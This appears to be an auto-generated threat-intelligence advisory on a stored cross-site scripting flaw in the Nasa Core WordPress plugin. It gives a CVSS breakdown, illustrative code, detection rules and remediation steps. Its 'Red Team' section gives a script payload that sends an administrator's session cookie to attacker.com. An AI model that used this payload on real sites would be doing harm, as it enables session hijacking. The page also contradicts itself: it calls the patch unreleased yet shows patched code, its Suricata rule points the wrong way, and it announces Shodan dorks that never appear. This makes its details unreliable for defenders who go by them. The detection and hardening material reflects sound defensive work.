CVE-2025-49067
Executive Summary
CVE-2025-49067 is a Stored Cross-Site Scripting (XSS) vulnerability in the Nasa Core WordPress plugin (by NasaTheme). The vulnerability exists in versions prior to 6.4.1, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious scripts that are stored on the server and executed in the browsers of other users (including administrators) when they view the affected page. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue and is not related to Apache or Nginx.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since the patch status is unknown, users must manually verify the integrity of the plugin files. The plugin is not distributed via NPM, PyPI, Go, or Ruby, but the risk of supply chain compromise exists if the plugin is obtained from unofficial sources. Administrators should ensure the plugin is downloaded only from trusted vendors and verify file hashes if available.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (requires authenticated user with contributor role)
- User Interaction: Required (victim must visit the compromised page)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. Exploitation requires authentication and user interaction, but the stored nature of the XSS increases the potential for widespread impact within a WordPress site.
Deep Dive & Mechanics
The vulnerability resides in the Nasa Core plugin, which provides core functionality for NasaTheme products. The plugin fails to sanitize or escape user-supplied input before storing it in the WordPress database and later rendering it on a page. This is a classic Stored XSS (CWE-79) scenario.
Attack Flow:
- An attacker with at least contributor-level access to the WordPress site navigates to a vulnerable input field (e.g., a custom field, shortcode parameter, or widget).
- The attacker injects a malicious payload, such as
<script>alert('XSS')</script>or a more sophisticated payload that steals cookies or performs actions on behalf of an admin. - The payload is stored in the database without proper sanitization.
- When an administrator or other user views the page containing the stored payload, the script executes in their browser.
- The attacker can then hijack sessions, deface the site, or perform other malicious actions.
Root Cause: The plugin uses functions like echo or the_content without applying WordPress escaping functions such as esc_html(), wp_kses(), or esc_attr(). The input is not validated against a whitelist of allowed HTML tags.
Vulnerable vs. Patched Code
Vulnerable Code (version < 6.4.1):
// In a template or shortcode handler
echo $user_input; // Direct output without sanitization
Patched Code (version 6.4.1+):
// Properly escaped output
echo esc_html( $user_input ); // Escapes HTML entities
The patch applies esc_html() or wp_kses() to all user-supplied data before rendering it in the browser. This prevents the execution of injected scripts.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with Nasa Core plugin version < 6.4.1.
- An authenticated user account with at least contributor-level privileges.
Steps:
- Log in to the WordPress admin panel.
- Navigate to a vulnerable page (e.g., a custom post type or widget area provided by Nasa Core).
- In a text field (e.g., a custom meta box), inject the following payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the post or widget.
- When an administrator views the page, the script executes and sends the admin's session cookie to the attacker's server.
Alternative Payload (for demonstration):
<img src=x onerror=alert('XSS')>
Blue Team (Detection & Hardening)
Detection:
- Monitor WordPress logs for unusual input patterns in custom fields.
- Use a Web Application Firewall (WAF) to block common XSS payloads.
- Implement Content Security Policy (CSP) headers to mitigate script execution.
Hardening:
- Update Nasa Core to version 6.4.1 or later.
- Restrict user roles to limit who can edit posts and pages.
- Use a security plugin (e.g., Wordfence) to scan for malicious content.
- Enable automatic updates for WordPress plugins.
Indicators of Compromise (IOCs)
- File Hashes (if available): N/A (patch not released)
- Suspicious Database Entries: Look for posts or options containing
<script>tags or event handlers likeonerror,onload,onclick. - Network Traffic: Outbound connections to unknown domains from the WordPress server (e.g.,
attacker.com). - Log Entries: Unusual POST requests to
wp-admin/admin-ajax.phporwp-admin/post.phpwith encoded payloads.
Detection Engineering
YARA Rule
rule Detect_Stored_XSS_NasaCore {
meta:
description = "Detects stored XSS payloads in Nasa Core plugin database entries"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-49067"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
$xss4 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: Stored XSS in Nasa Core Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts in Nasa Core plugin input fields
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: 'POST'
http.url|contains: '/wp-admin/post.php'
http.body|contains|all:
- 'nasa_core'
- '<script'
condition: selection
falsepositives:
- Legitimate use of JavaScript in posts (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49067 Stored XSS in Nasa Core Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"nasa_core"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update the plugin: Upgrade Nasa Core to version 6.4.1 or later as soon as it becomes available.
- Temporary workaround: If patching is not possible, disable the plugin or restrict access to the vulnerable input fields via custom code.
- Audit user roles: Ensure only trusted users have contributor-level access or higher.
Long-term Measures:
- Implement a Web Application Firewall (WAF) with XSS detection rules.
- Regularly update all WordPress plugins and themes.
- Conduct periodic security audits and penetration testing.
- Use WordPress security plugins that monitor file integrity and detect malicious code.
Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or further analysis, contact threatintel@valtersit.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.